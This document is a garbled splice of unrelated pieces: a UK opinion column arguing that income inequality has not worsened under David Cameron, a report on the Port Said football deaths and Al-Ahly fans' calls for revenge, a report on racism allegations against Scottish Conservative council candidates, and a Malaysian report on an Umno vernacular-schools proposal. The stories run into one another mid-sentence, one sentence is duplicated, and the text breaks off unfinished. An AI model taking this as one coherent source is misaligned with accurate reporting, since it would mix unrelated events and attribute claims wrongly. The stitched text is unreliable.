Now, there are several measures of UK inequality. Not one shows it getting any worse over the last quarter-century (see graph, above). It got worse in the 1980s, when Corbyn’s world view was cemented. But I doubt he has looked at the recent data. Why let the facts get in the way of a good applause line? All this matters, because it’s a real challenge for the left. As the Independent’s John Rentoul has brilliantly argued, the left needs to accept that income inequality has not been getting worse. Yes, we’ve had cuts. But inequality, or ‘child poverty’ to use its more emotive name, has been improving under David Cameron.
It’s not quite as simplistic as the left seems to think. For example, David Cameron cut the tax for the best-paid – and what happened? They now shoulder a greater share of the income tax burden then at any time in UK history. So yes, the 1pc have never earned more – but they’ve never paid more tax. The redistribution system is working – and, under the tax-cutting Tories, working better than ever. This helps explain why UK income inequality metrics do not go the way that Piketty and Stiglitz think they ought to. Now, I’m not denying that inequality is an issue – I made a Ch4 documentary about the subject last year (you can view it here). But not in the way that Corbyn and Piketty seems to think. The problem with the new left is that they can’t see beyond the financial dimension of inequality. And they even get that wrong. I’ve spoken about income inequality here because there isn’t enough comparable data on wealth income. But CoffeeHousers may remember Victor Burgin’s 1966 poster, Possession (right). It used a figure from The Economist that “7% of our population own 84% of our wealth” – a statistic so powerful it inspired the 7:84 Theatre Company. I suspect that Burgin is glad he’s not making such posters today: the latest ONS figures, for 2010-12, are far less arresting. They show the wealth of the 10pc has just 44pc of the wealth. No wonder the 7:84 Theatre Company has folded: 10:44 doesn’t have quite the same ring to it.
Of course, the data is almost certainly not comparable, but no one – especially not Piketty – has managed to find a set of figures that genuinely are. The below chart shows what is, in my opinion, the most pernicious form of inequality in Britain – the way that UK state schools give out the best education to the richest, and the worst to the poorest. When Labour starts to worry about this, they’ll be getting serious about solving genuine British problems. But don’t hold your breath. UPDATE Nassim Taleb, the ‘Black Swan’ writer, points out the flaws in the Gini index, which most left-wing politcians use to claim that the UK is one of the world’s most unequal countries. The Gini index is, he says, simply unfit for international comparisons.At least 73 people were killed and 313 people wounded Wednesday in Port Said in clashes between supporters of a local football team and those of a team from Cairo. Now, fans from the capital are calling for revenge. The video below shows a train full of supporters of Cairo’s football club, Al-Ahly, arriving home by train at 3:30 a.m. A large crowd greeted them, chanting: “Either we die like they did, or avenge their deaths!”
Many Al-Alhy supporters are convinced that Wednesday’s violence is the result of a plot against them, allegedly orchestrated by the country’s military rulers because of the Many Al-Alhy supporters are convinced that Wednesday’s violence is the result of a plot against them, allegedly orchestrated by the country’s military rulers because of the football fans’ participation in the revolution last year. Al-Alhy supporters are planning a protest in the capital this afternoon.
At 2 a.m., a crowd gathered in Cairo's central station to greet the returning Al-Alhy football fans. At 27 seconds into the video, the sign reads: "Where is the Interior Minister, an accomplice to the baltagias [militiamen who supported former president Hosni Mubarak]?"Ruth Davidson has also been under fire over the ‘rape clause’ in a cap on child benefits
The Scottish Conservative party was accused by the SNP yesterday of being riddled with “systematic extremism” after several Tory council candidates were engulfed by racism allegations.
Ruth Davidson, the Scottish Conservative leader, was challenged to launch an internal inquiry following the suspension of three party members for racist and anti-Islamic rants on social media.
Others have been criticised for sharing online posts by far-right groups such as Britain First and the English Defence League.
Yesterday, the SNP said Davidson needed to “get a grip” on the racism scandal engulfing the Scottish Conservatives. “This isn’t a case of a couple of rogue candidates slipping through the net; it’s systemic extremism at the very heart of Ruth Davidson’s party,” a spokesman said.
“As a matter of urgency,…National schools in Malaysia should make Chinese and Tamil subjects compulsory, so as to pave way for the eventual closure of vernacular schools, an Umno delegate from Malacca proposed today.
Speaking at the Umno general assembly, Mustafa Musa said it was vital for Putrajaya to strengthen national schools before it attempted to shut down Chinese and Indian schools.
“Include the Chinese and Tamil languages in the curriculum of national schools and make it compulsory. We lose nothing in learning more to adapt to change,” he said when debating the policy speech.
“If national schools are strengthened that way, completely equipped with computers, with Chinese and Tamil subjects, this is an alternative to the beginning of single-stream schools. And there will be no reason for anyone to say national schools are weak.
“So we strengthen our own schools before we shut down other schools.”
He said that national schools had fallen far behind vernacular schools and urged Putrajaya to channel more funds into these schools.
“Mal |
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